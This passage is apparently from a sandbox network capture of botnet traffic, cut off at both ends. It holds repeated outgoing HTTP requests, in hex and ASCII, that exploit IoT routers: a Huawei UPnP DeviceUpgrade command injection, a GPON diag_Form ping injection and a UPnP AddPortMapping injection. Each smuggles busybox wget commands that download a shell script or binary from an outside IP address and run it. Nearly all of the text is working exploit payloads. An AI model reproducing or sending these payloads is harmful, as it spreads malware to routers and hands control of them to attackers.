20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:21:52.447051048 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:22:04.478580952 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:22:29.821670055 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.14	43290	3.18.86.218	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:42.162237883 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:21:42.285130978 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:21:42 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.14	53764	37.98.12.196	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:42.313704967 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:21:43.071413994 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:21:44.575356960 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:21:47.583312988 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 